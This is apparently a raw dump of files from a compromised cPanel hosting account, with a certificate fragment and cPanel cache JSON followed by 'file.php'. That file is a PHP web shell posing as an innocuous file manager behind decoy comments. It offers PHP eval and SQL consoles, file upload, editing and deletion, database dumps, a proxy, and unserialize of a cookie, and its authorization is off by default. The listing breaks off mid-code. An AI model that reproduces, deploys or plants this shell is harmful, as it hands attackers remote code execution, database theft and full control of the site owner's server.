YDVR0OBBYEFPtN12QBe0thiz15zTcsz5dvNVknMB8GA1UdIwQYMBaA\nFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw\nAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wggItBgNVHREEggIkMIICIIITYXRl\nbmFsZWFkZXJzLmNvbS5icoIlYXRlbmFsZWFkZXJzLmNvbS5ici53cHNvbHV0aW9u\nLmNvbS5icoIhYmVta2FzYXIuY29tLmJyLndwc29sdXRpb24uY29tLmJygiFsZWlh\ncmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnKCM2xlaWFyYWRpZXN0ZXNpYXRl\ncmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIYbWFpbC5hdGVuYWxl\nYWRlcnMuY29tLmJygiZtYWlsLmxlaWFyYWRpZXN0ZXNpYXRlcmFwZXV0aWNhLmNv\nbS5icoIqdml2ZW5jaWFydGVhdGVsaWUuY29tLmJyLndwc29sdXRpb24uY29tLmJy\nghd3d3cuYXRlbmFsZWFkZXJzLmNvbS5icoIpd3d3LmF0ZW5hbGVhZGVycy5jb20u\nYnIud3Bzb2x1dGlvbi5jb20uYnKCJXd3dy5iZW1rYXNhci5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCJXd3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20u\nYnKCN3d3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCLnd3dy52aXZlbmNpYXJ0ZWF0ZWxpZS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnIwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg\nH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNi5jcmwwggEFBgorBgEEAdZ5AgQC\nBIH2BIHzAPEAdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZjo\ni9msAAAEAwBHMEUCIQC9uLtO9BjEYAffD8t0VGxSeu8Fj+zaqbmdccTkR+7DVQIg\nHpyOeofaC3ou7dJ84m5y1IgxKMrUcpK3BtzJNwQ5d74AdwAaBP9J0FQdQK/2oMO/\n8djEZy9O7O4jQGiYaxdALtyJfQAAAZjoi9mJAAAEAwBIMEYCIQDaoKJKJJNHi0e5\n7r9JDSnZSh6vMSCo5SLqVnd2wI6v6gIhAN+SR689ZVYg1i2U6NZp6iDTpH1BeksY\nAagH2DK6bIyOMA0GCSqGSIb3DQEBCwUAA4IBAQCObXnhG/AbYf298l2j5L7jOkEM\n6pnjP5l7HDTsZ7lxWibrXEvgWy9z6HwbEl/AcDJUjykKsjBhkDm99nF75qh6QRHx\n2GLU0XUstQRpHes97275R/LjBV6tJOHT3t2jgjL6oahchegmf/kBgGQV0G4np1bQ\nqDdrqIVkMwbakygXF28GZuPSc7XCZXrq8xYyly+3JVJ5P6HaTeqI35c6r4g9Pz0I\nIJxzPyLg3JO2OafZLNW5dl7le6xu2bTM+I+nP906HIWSc7wWCjlUvDAY4NJ/3gEf\nHS7dO5IDLLsuTwToUJ6JDtHggrt4ta0R4UxcgNFG063wOqgRgkeYULRmC4VL\n-----END CERTIFICATE-----","is_primary_on_ip":0,"needs_sni":1}]}}PK�n[�yc���&reseller_SORTEDRESELLERSUSERS_kbdhpghpnu"�]
�{"status":1,"version":"2.4","statusmsg":"Ran adminbin Cpanel/reseller/SORTEDRESELLERSUSERS","mode":"full","action":"fetch","exit_code":0,"error":0,"data":[["kbdhpghp","wpsolution.com.br"]],"timeout":0}PK�n[:K�QQQ_Cpanel::Quota.pm__kbdhpghpnu"�]
�{"VERSION":"2.5","data":[14983593984,139586437120,124602843136,335008,null,null]}PK�n[��|�Cpanel::MysqlRun::runningnu"�]
�{"version":"10.11.11-MariaDB"}PK�n[~��_usr_local_cpanel_cpanel_-Fnu"�]
�vps,vps
PK�n[���B�B�file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

